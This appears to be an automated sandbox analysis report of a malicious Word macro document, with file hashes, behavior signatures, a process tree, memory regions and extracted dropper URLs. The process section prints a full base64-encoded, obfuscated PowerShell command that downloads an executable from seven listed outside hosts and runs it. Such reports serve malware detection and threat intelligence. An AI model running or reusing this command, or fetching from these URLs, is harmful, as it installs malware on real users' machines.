Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    09-05-2024 03:00

General

  • Target

    27f9257e764a26b68592de0db8d0aa93_JaffaCakes118.doc

  • Size

    178KB

  • MD5

    27f9257e764a26b68592de0db8d0aa93

  • SHA1

    a86e59440c9652678b762fd6944cf93c55d96a0e

  • SHA256

    94035005c1b01a7ee5cdc000f6cc2128dd739606543d29bf12949670c34ad78c

  • SHA512

    c7e9c2cb12bdb1ac33bd4fc736b79c38902c191e405e18c9fa896e4b2e9c73ffb0a810e238a279197937b990d734cc183d7a3d31719c728f885154d1b2ec89bd

  • SSDEEP

    1536:d2B72BYrdi1Ir77zOH98Wj2gpngd+a9NqPWjD2kKjHDYs+sbM+Sy1n4:WrfrzOH98ipgFi2SHDYsDM+Sy1n4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://msmartyford.com/assets/BIO/

exe.dropper

http://jiafunongye.com/application/zh3/

exe.dropper

http://calledtochange.org/CalledtoChange/Uh/

exe.dropper

https://janataralo.com/public_html/k/

exe.dropper

https://www.breedenandsilver.com/wp-content/j/

exe.dropper

http://valleymedicalandsurgicalclinic.com/ujftb/p/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27f9257e764a26b68592de0db8d0aa93_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABKADMAYQBqADkAcgBpAD0AKAAnAFcAJwArACcAOAAnACsAKAAnADgAbwAnACsAJwBrADAAZQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBwAHIATwBGAGkAbABFAFwAZwBQAGYAMQBTAFkAeABcAEYAOQBxAFMAbgAzAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGMAVQBSAEkAdAB5AHAAUgBPAFQAYABPAGMAbwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAZwBtAHEAbQBuAGIAIAA9ACAAKAAoACcARQB2ADQANQAnACsAJwBlACcAKwAnADMAJwApACsAJwBoAG4AJwApADsAJABLAHUAMABoAG8AYgAwAD0AKAAnAEgAZAAnACsAKAAnAHUAbQAzAGYAJwArACcAMwAnACkAKQA7ACQAQQBtAGQAMwA4AHkAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADIAJwArACcAQwB1ACcAKQArACcARwAnACsAKAAnAHAAZgAxAHMAeQAnACsAJwB4ACcAKQArACgAJwAyAEMAdQBGADkAJwArACcAcQAnACkAKwAoACcAcwBuACcAKwAnADMAeAAnACkAKwAnADIAQwAnACsAJwB1ACcAKQAuACIAUgBlAHAATABgAEEAQwBFACIAKAAoAFsAYwBoAEEAUgBdADUAMAArAFsAYwBoAEEAUgBdADYANwArAFsAYwBoAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKwAkAFQAZwBtAHEAbQBuAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNADYAdgAzAGoAcABrAD0AKAAoACcAVAAnACsAJwBtADMAXwAnACkAKwAoACcANQA5ACcAKwAnAHYAJwApACkAOwAkAEgANgByAGIAdwBiAGoAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAQwBMAEkAZQBuAHQAOwAkAEkAMwBrAHgAdQB3AG8APQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtACcAKwAnAHMAJwApACsAKAAnAG0AYQAnACsAJwByAHQAeQAnACsAJwBmAG8AcgAnACkAKwAnAGQALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAnAHQAJwArACgAJwBzAC8AJwArACcAQgBJAE8AJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGoAaQBhACcAKwAnAGYAdQBuAG8AbgAnACsAJwBnAHkAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYQAnACsAKAAnAHAAJwArACcAcABsACcAKwAnAGkAYwBhAHQAaQAnACsAJwBvAG4AJwApACsAJwAvACcAKwAnAHoAJwArACcAaAAzACcAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwBjACcAKwAnAGEAbAAnACsAKAAnAGwAJwArACcAZQBkAHQAJwApACsAKAAnAG8AYwAnACsAJwBoACcAKQArACcAYQAnACsAKAAnAG4AJwArACcAZwBlACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACcAbABsACcAKwAoACcAZQBkAHQAbwAnACsAJwBDACcAKwAnAGgAYQBuAGcAJwArACcAZQAvAFUAJwApACsAKAAnAGgALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAagBhAG4AYQB0ACcAKQArACcAYQByACcAKwAnAGEAJwArACcAbAAnACsAKAAnAG8AJwArACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwBwAHUAYgBsAGkAJwArACcAYwAnACsAJwBfAGgAdABtAGwALwBrACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzACcAKwAnADoALwAvAHcAdwB3AC4AJwArACcAYgByACcAKQArACgAJwBlACcAKwAnAGUAZABlACcAKwAnAG4AYQBuAGQAcwBpAGwAJwApACsAKAAnAHYAZQByACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdgAnACkAKwAnAGEAbAAnACsAKAAnAGwAZQB5ACcAKwAnAG0AZQAnACkAKwAoACcAZAAnACsAJwBpAGMAYQBsACcAKQArACgAJwBhACcAKwAnAG4AZABzACcAKQArACgAJwB1AHIAJwArACcAZwAnACkAKwAnAGkAYwAnACsAKAAnAGEAbABjAGwAJwArACcAaQAnACkAKwAoACcAbgBpAGMALgBjAG8AJwArACcAbQAvACcAKwAnAHUAagAnACkAKwAnAGYAdAAnACsAJwBiAC8AJwArACgAJwBwACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvAGMAaQAnACkAKwAnAG0AJwArACcAcwBqACcAKwAoACcAcgAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAGgAJwArACcAbwBzAHAAJwArACcAaQB0AGEAJwApACsAKAAnAGwALwB4ACcAKwAnADIAJwApACsAJwBmAC8AJwApAC4AIgBTAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQB0ADkAagBxAHIAPQAoACcAWQAnACsAKAAnADYAYQAnACsAJwA3ACcAKQArACgAJwB1AG0AJwArACcAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAaAB6AGMAagBqAHMAIABpAG4AIAAkAEkAMwBrAHgAdQB3AG8AKQB7AHQAcgB5AHsAJABIADYAcgBiAHcAYgBqAC4AIgBkAGAAbwB3AG4ATABgAG8AYQBgAGQAZgBpAGwAZQAiACgAJABCAGgAegBjAGoAagBzACwAIAAkAEEAbQBkADMAOAB5ADgAKQA7ACQAQQB3AHkAOQB3AHcAcQA9ACgAJwBHAGYAJwArACgAJwBxAGMAagAnACsAJwBfADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQQBtAGQAMwA4AHkAOAApAC4AIgBMAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADMANQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAG0AZAAzADgAeQA4ACkAOwAkAFoAegBoAHcANgA5AGEAPQAoACgAJwBTACcAKwAnADUAbwAnACkAKwAoACcAcAAnACsAJwBvAGkAJwApACsAJwBwACcAKQA7AGIAcgBlAGEAawA7ACQASQAwAGgAawB4ADAAYgA9ACgAJwBPACcAKwAoACcAeQBlAF8AJwArACcAbwB3ADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbgB1AHgAZwA1AGcAPQAoACgAJwBRACcAKwAnAHUANwAzACcAKQArACcAYgAnACsAJwB2ADcAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2548

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      26cc06216b76ebd8b2c73b2761b75c4d

      SHA1

      626f7cc3f08566e79ecf7b1e40f9d7d9f0789857

      SHA256

      7d045272a240aa33e086079e727d8d94e08de249d8d9854060a1a3b8f23e1060

      SHA512

      32c9f927c4c40b868f21260e398a5ddd260285fcf349761d775fb8a80c456ba20f45fd22669e39be2a078485484967fa32942c37f7f18ad3e8894a1c33fbb533

    • memory/1848-20-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1848-6-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-19-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-8-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-11-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-12-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-13-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-10-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-9-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-17-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-16-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-15-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-14-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-18-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-21-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-22-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-0-0x000000002FC11000-0x000000002FC12000-memory.dmp

      Filesize

      4KB

    • memory/1848-7-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-2-0x000000007168D000-0x0000000071698000-memory.dmp

      Filesize

      44KB

    • memory/1848-25-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-27-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-24-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-23-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-29-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-31-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-32-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-30-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-28-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-33-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-68-0x000000007168D000-0x0000000071698000-memory.dmp

      Filesize

      44KB

    • memory/1848-26-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-46-0x000000007168D000-0x0000000071698000-memory.dmp

      Filesize

      44KB

    • memory/1848-47-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/1848-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2548-40-0x0000000002320000-0x0000000002328000-memory.dmp

      Filesize

      32KB

    • memory/2548-39-0x000000001B640000-0x000000001B922000-memory.dmp

      Filesize

      2.9MB